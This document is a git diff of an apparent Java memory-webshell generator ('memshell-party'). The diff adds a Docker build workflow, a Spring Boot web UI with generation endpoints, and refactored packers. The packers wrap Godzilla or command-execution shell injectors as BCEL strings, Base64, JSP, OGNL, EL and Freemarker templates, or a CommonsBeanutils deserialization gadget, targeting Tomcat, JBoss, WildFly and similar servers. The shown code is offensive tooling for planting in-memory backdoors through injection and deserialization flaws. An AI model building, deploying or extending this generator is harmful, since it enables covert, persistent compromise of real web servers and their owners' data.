diff --git a/.github/workflows/build.yaml b/.github/workflows/build.yaml new file mode 100644 index 00000000..e8cf58a9 --- /dev/null +++ b/.github/workflows/build.yaml @@ -0,0 +1,66 @@ +name: Build + +on: + push: + paths-ignore: + - 'docs/**' + - '**.md' +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + build: + name: Build Jar + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + - name: Setup Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: 17 + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + - uses: actions/setup-node@v4 + with: + node-version: '23' + - uses: oven-sh/setup-bun@v2 + with: + bun-version: latest + - name: Build Web + run: bun install && bun build && bash copy-build.sh + - name: Build with Gradle + run: ./gradlew :boot:bootjar + - name: Upload Jar + uses: actions/upload-artifact@v4 + with: + name: boot + path: boot/build/libs/boot.jar + push: + name: Docker Push + needs: [ build ] + runs-on: ubuntu-latest + steps: + - name: Download Jar + uses: actions/download-artifact@v4 + with: + name: boot + path: boot/build/libs + - name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ vars.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - name: Build and push + uses: docker/build-push-action@v6 + with: + context: boot/ + platforms: linux/amd64,linux/arm64 + push: true + tags: reajason/memshell-party:latest diff --git a/boot/Dockerfile b/boot/Dockerfile new file mode 100644 index 00000000..744f39c8 --- /dev/null +++ b/boot/Dockerfile @@ -0,0 +1,12 @@ +FROM eclipse-temurin:17-jre +LABEL authors="ReaJason" + +WORKDIR /app +COPY build/libs/boot.jar app.jar + +ENV JAVA_OPTS="" \ + INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED" + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar diff --git a/boot/build.gradle b/boot/build.gradle index 85bcbd5c..5ee38eb4 100644 --- a/boot/build.gradle +++ b/boot/build.gradle @@ -5,7 +5,7 @@ plugins { } group = 'com.reajason.javaweb' -version = '0.0.1-SNAPSHOT' +version = '' java { toolchain { @@ -13,21 +13,47 @@ java { } } +def runtimeJvmArgs = [ + '--add-opens=java.base/java.util=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' +] + +tasks.withType(JavaCompile).configureEach { + options.compilerArgs += [ + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' + ] +} + +tasks.withType(Test).configureEach { + jvmArgs += runtimeJvmArgs +} + +// For running the application +tasks.withType(JavaExec).configureEach { + jvmArgs += runtimeJvmArgs +} + configurations { compileOnly { extendsFrom annotationProcessor } } -repositories { - mavenCentral() -} - dependencies { - implementation project(":deserialize") - implementation project(":generator") + implementation(project(":generator")) { + exclude group: 'org.apache.tomcat', module: 'tomcat-catalina' + exclude group: 'commons-logging', module: 'commons-logging' + } + implementation(project(":deserialize")) { + exclude group: 'commons-logging', module: 'commons-logging' + } + implementation 'org.apache.bcel:bcel:5.2' implementation 'org.springframework.boot:spring-boot-starter-thymeleaf' implementation 'org.springframework.boot:spring-boot-starter-web' + implementation 'org.springframework.boot:spring-boot-starter-tomcat' + implementation 'com.google.code.gson:gson:2.11.0' compileOnly 'org.projectlombok:lombok' developmentOnly 'org.springframework.boot:spring-boot-devtools' annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor' diff --git a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java index f6851bf7..c4869f7e 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java @@ -13,4 +13,4 @@ public class BootApplication { SpringApplication.run(BootApplication.class, args); } -} +} \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java new file mode 100644 index 00000000..d87bbf0e --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/api/ErrorResponse.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.api; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * @author ReaJason + * @since 2024/5/30 + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +public class ErrorResponse { + private String error; +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java b/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java new file mode 100644 index 00000000..6bd25816 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java @@ -0,0 +1,22 @@ +package com.reajason.javaweb.boot.api; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +/** + * @author ReaJason + * @since 2024/5/30 + */ +@RestControllerAdvice +@Slf4j +public class GlobalExceptionHandler { + @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) + @ExceptionHandler(Throwable.class) + public ErrorResponse handleThrowable(Throwable throwable) { + log.error("请求出错", throwable); + return new ErrorResponse(throwable.getMessage()); + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 38ef16e3..a6706c27 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -3,28 +3,27 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.packer.Packer; import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; +import java.util.*; +import java.util.stream.Collectors; /** * @author ReaJason * @since 2024/12/13 */ -@RestController("/config") +@RestController +@RequestMapping("/config") +@CrossOrigin("*") public class ConfigController { @RequestMapping public ResponseEntity config() { Map> coreMap = new HashMap<>(16); - List servers = new ArrayList<>(); for (Server value : Server.values()) { AbstractShell shell = value.getShell(); if (shell != null) { @@ -34,22 +33,24 @@ public class ConfigController { List supportedShellTypes = shell.getSupportedShellTypes(shellTool); map.put(shellTool.name(), supportedShellTypes); } - servers.add(value.name()); coreMap.put(value.name(), map); } } Config config = new Config(); - config.setServers(servers); + config.setServers( + Arrays.stream(Server.values()) + .filter(s -> s.getShell() != null) + .map(Server::name) + .collect(Collectors.toList()) + ); config.setCore(coreMap); - Map> packerMap = new HashMap<>(16); - for (Packer.INSTANCE value : Packer.INSTANCE.values()) { - if (value.equals(Packer.INSTANCE.Deserialize)) { - packerMap.put(value.name(), Map.of("payloads", PayloadType.values())); - } else { - packerMap.put(value.name(), null); - } - } - config.setPacker(packerMap); + config.setPackers(Arrays.stream(Packer.INSTANCE.values()) + .collect(Collectors.toMap( + Packer.INSTANCE::getDesc, + Packer.INSTANCE::name, + (e1, e2) -> e1, + LinkedHashMap::new + ))); return ResponseEntity.ok(config); } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java new file mode 100644 index 00000000..5ac89ccb --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.boot.controller; + +import com.reajason.javaweb.GeneratorMain; +import com.reajason.javaweb.boot.dto.GenerateRequest; +import com.reajason.javaweb.boot.dto.GenerateResponse; +import com.reajason.javaweb.config.GenerateResult; +import com.reajason.javaweb.config.InjectorConfig; +import com.reajason.javaweb.config.ShellConfig; +import com.reajason.javaweb.config.ShellToolConfig; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.*; + +/** + * @author ReaJason + * @since 2024/12/18 + */ +@RestController +@RequestMapping("/generate") +@CrossOrigin("*") +public class GeneratorController { + @PostMapping + public ResponseEntity generate(@RequestBody GenerateRequest request) { + ShellConfig shellConfig = request.getShellConfig(); + ShellToolConfig shellToolConfig = request.parseShellToolConfig(); + InjectorConfig injectorConfig = request.getInjectorConfig(); + GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); + String packResult = request.getPacker().getPacker().pack(generateResult); + return ResponseEntity.ok(new GenerateResponse(generateResult, packResult)); + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java new file mode 100644 index 00000000..8a9e2e2a --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +@Controller +public class ViewController { + @GetMapping("/") + public String index() { + return "index"; + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java new file mode 100644 index 00000000..c26dae17 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.config.*; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.Data; + +/** + * @author ReaJason + * @since 2024/12/18 + */ +@Data +public class GenerateRequest { + private ShellConfig shellConfig; + private ShellToolConfigDTO shellToolConfig; + private InjectorConfig injectorConfig; + private Packer.INSTANCE packer; + + public ShellToolConfig parseShellToolConfig() { + if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) { + return GodzillaConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .pass(shellToolConfig.getGodzillaPass()) + .key(shellToolConfig.getGodzillaKey()) + .headerName(shellToolConfig.getGodzillaHeaderName()) + .headerValue(shellToolConfig.getGodzillaHeaderValue()) + .build(); + } + if (shellConfig.getShellTool().equals(ShellTool.Command)) { + return CommandConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .paramName(shellToolConfig.getCommandParamName()) + .build(); + } + throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); + } + + @Data + static class ShellToolConfigDTO { + private String shellClassName; + private String godzillaPass; + private String godzillaKey; + private String godzillaHeaderName; + private String godzillaHeaderValue; + private String commandParamName; + } +} \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java new file mode 100644 index 00000000..f72a038c --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.config.GenerateResult; +import lombok.AllArgsConstructor; +import lombok.Data; + +/** + * @author ReaJason + * @since 2024/12/18 + */ +@Data +@AllArgsConstructor +public class GenerateResponse { + private GenerateResult generateResult; + private String packResult; +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java b/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java index 7260b269..959dd951 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java @@ -13,5 +13,5 @@ import java.util.Map; public class Config { private List servers; private Map> core; - private Map> packer; + private Map packers; } \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle index 37668e37..501671c9 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -52,6 +52,8 @@ dependencies { implementation 'org.java-websocket:Java-WebSocket:1.5.7' implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0' // implementation fileTree('libs') + implementation 'xalan:xalan:2.7.0' + implementation 'org.apache.bcel:bcel:5.2' implementation 'commons-io:commons-io:2.+' implementation 'org.apache.commons:commons-lang3:3.+' diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java index 2ff79602..a4908d1a 100644 --- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java +++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java @@ -3,14 +3,14 @@ package com.reajason.javaweb; import com.reajason.javaweb.config.*; import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.util.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.jar.asm.Opcodes; import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang3.StringUtils; import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.nio.file.StandardOpenOption; /** * @author ReaJason @@ -24,6 +24,7 @@ public class GeneratorMain { .shellTool(ShellTool.Command) .shellType(Constants.FILTER) .targetJreVersion(Opcodes.V1_6) + .debug(true) .build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() .pass("pass") @@ -37,7 +38,7 @@ public class GeneratorMain { // Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); // Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes())); - System.out.println(new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult))); + System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult)); } } @@ -47,11 +48,19 @@ public class GeneratorMain { if (shell == null) { throw new IllegalArgumentException("Unsupported server"); } + if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { + shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); + } + + if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { + injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); + } + return shell.generate(shellConfig, injectorConfig, shellToolConfig); } @SneakyThrows - public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { + public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) { GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig); if (generateResult != null) { return packerInstance.getPacker().pack(generateResult); diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java index d7f06876..e1374323 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java @@ -16,7 +16,12 @@ import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL; import static net.bytebuddy.jar.asm.Opcodes.POP; /** - * Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace() + * Debug 信息打印移除器 + * 目前仅支持移除以下几种 + *
+ * 1. System.out.println() - (printf 还不支持) + * 2. e.printStackTrace() + * 3. Logger.info (java.util) * * @author ReaJason */ diff --git a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java index c616407b..16b19840 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/config/GenerateResult.java @@ -13,9 +13,11 @@ import org.apache.commons.codec.binary.Base64; public class GenerateResult { private String shellClassName; private transient byte[] shellBytes; + private long shellSize; private String shellBytesBase64Str; private String injectorClassName; private transient byte[] injectorBytes; + private long injectorSize; private String injectorBytesBase64Str; private ShellConfig shellConfig; private ShellToolConfig shellToolConfig; @@ -25,12 +27,14 @@ public class GenerateResult { public GenerateResult build() { if (shellBytes != null) { shellBytesBase64Str = Base64.encodeBase64String(shellBytes); + shellSize = shellBytes.length; } if (injectorBytes != null) { injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes); + injectorSize = injectorBytes.length; } - return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str, - injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); + return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, + injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index 08cef7fc..95c69414 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -27,12 +27,15 @@ public enum Server { /** * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ - JBoss(new JbossShell()), + JBossAS(new JbossShell()), + JBossEAP6(new JbossShell()), /** * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 * JBossEAP */ Undertow(new UndertowShell()), + JBossEAP7(new UndertowShell()), + WildFly(new UndertowShell()), /** * SpringMVC 框架 diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java index 3c322088..044e8fef 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellToolConfig.java @@ -19,11 +19,11 @@ public class ShellToolConfig { /** * 模板类 shellClass */ - private Class clazz; + private Class shellClass; /** * shellClass 的类名 */ @Builder.Default - private String className = CommonUtil.generateShellClassName(); + private String shellClassName = CommonUtil.generateShellClassName(); } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java index 369da1ab..ca11d132 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java @@ -29,8 +29,8 @@ public abstract class AbstractShell { */ public List getSupportedShellTypes(ShellTool tool) { return switch (tool) { - case Godzilla -> getGodzillaShellMap().keySet().stream().toList(); - case Command -> getCommandShellMap().keySet().stream().toList(); + case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList(); + case Command -> getCommandShellMap().keySet().stream().sorted().toList(); default -> Collections.emptyList(); }; } @@ -59,14 +59,14 @@ public abstract class AbstractShell { Class shellClass = shellInjectorPair.getLeft(); Class injectorClass = shellInjectorPair.getRight(); - shellToolConfig.setClazz(shellClass); + shellToolConfig.setShellClass(shellClass); byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); injectorConfig = injectorConfig .toBuilder() .injectorClass(injectorClass) - .shellClassName(shellToolConfig.getClassName()) + .shellClassName(shellToolConfig.getShellClassName()) .shellClassBytes(shellBytes).build(); byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); @@ -75,7 +75,7 @@ public abstract class AbstractShell { .shellConfig(shellConfig) .shellToolConfig(shellToolConfig) .injectorConfig(injectorConfig) - .shellClassName(shellToolConfig.getClassName()) + .shellClassName(shellToolConfig.getShellClassName()) .shellBytes(shellBytes) .injectorClassName(injectorConfig.getInjectorClassName()) .injectorBytes(injectorBytes) diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java index 75c8c7e1..981a1e09 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/CommandGenerator.java @@ -19,14 +19,14 @@ import net.bytebuddy.matcher.ElementMatchers; public class CommandGenerator { public static byte[] generate(ShellConfig config, CommandConfig shellConfig) { - if (shellConfig.getClazz() == null) { + if (shellConfig.getShellClass() == null) { throw new IllegalArgumentException("shellConfig.getClazz() == null"); } Implementation.Composable fieldSets = SuperMethodCall.INSTANCE .andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName())); DynamicType.Builder builder = new ByteBuddy() - .redefine(shellConfig.getClazz()) - .name(shellConfig.getClassName()) + .redefine(shellConfig.getShellClass()) + .name(shellConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) .constructor(ElementMatchers.any()).intercept(fieldSets); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java index bfc4bd10..814953c6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -11,6 +11,7 @@ import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.matcher.ElementMatchers; import org.apache.commons.codec.digest.DigestUtils; +import org.apache.commons.lang3.StringUtils; /** * @author ReaJason @@ -26,15 +27,18 @@ public class GodzillaGenerator { } public DynamicType.Builder getBuilder() { - if (godzillaConfig.getClazz() == null) { + if (godzillaConfig.getShellClass() == null) { throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); } + if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) { + throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()"); + } String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16); String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase(); DynamicType.Builder builder = new ByteBuddy() - .redefine(godzillaConfig.getClazz()) - .name(godzillaConfig.getClassName()) + .redefine(godzillaConfig.getShellClass()) + .name(godzillaConfig.getShellClassName()) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .constructor(ElementMatchers.any()) .intercept(SuperMethodCall.INSTANCE diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java new file mode 100644 index 00000000..af1a28dc --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/BCELPacker.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import lombok.SneakyThrows; +import org.apache.bcel.classfile.Utility; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +public class BCELPacker implements Packer { + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java new file mode 100644 index 00000000..01375b71 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Base64Packer.java @@ -0,0 +1,15 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2024/12/17 + */ +public class Base64Packer implements Packer { + @Override + public String pack(GenerateResult generateResult) { + return Base64.encodeBase64String(generateResult.getInjectorBytes()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java index 03c0529e..ed85b585 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java @@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.DeserializeConfig; import com.reajason.javaweb.deserialize.DeserializeGenerator; import com.reajason.javaweb.deserialize.PayloadType; import lombok.SneakyThrows; - -import java.util.Map; +import org.apache.commons.codec.binary.Base64; /** * @author ReaJason @@ -16,17 +15,9 @@ public class DeserializePacker implements Packer { @Override @SneakyThrows - public byte[] pack(GenerateResult generateResult) { + public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); - return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig); - } - - @Override - public byte[] pack(GenerateResult generateResult, Map config) { - String payloadType = (String) config.get("payloadType"); - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType)); - return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig); + return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java index f955b3e4..fe676a93 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java @@ -24,8 +24,8 @@ public class ELPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java index 565ab040..6f572191 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java @@ -24,8 +24,8 @@ public class FreemarkerPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java index 8de14e35..a7b5329c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java @@ -26,9 +26,9 @@ public class JspPacker implements Packer { @Override @SneakyThrows - public byte[] pack(GenerateResult generateResult) { + public String pack(GenerateResult generateResult) { String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorClassName = generateResult.getInjectorClassName(); - return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes(); + return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java index 9024acb2..a1cb3d21 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java @@ -11,11 +11,11 @@ import java.util.Objects; * @author ReaJason * @since 2024/12/14 */ -public class OgnlPacker implements Packer { +public class OGNLPacker implements Packer { ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = ""; - public OgnlPacker() { + public OGNLPacker() { try { template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset()); } catch (IOException ignored) { @@ -24,8 +24,8 @@ public class OgnlPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java index 49ece892..83967eb2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java @@ -17,7 +17,7 @@ public interface Packer { * @param generateResult 生成的内存马信息 * @return 指定格式字节数组 */ 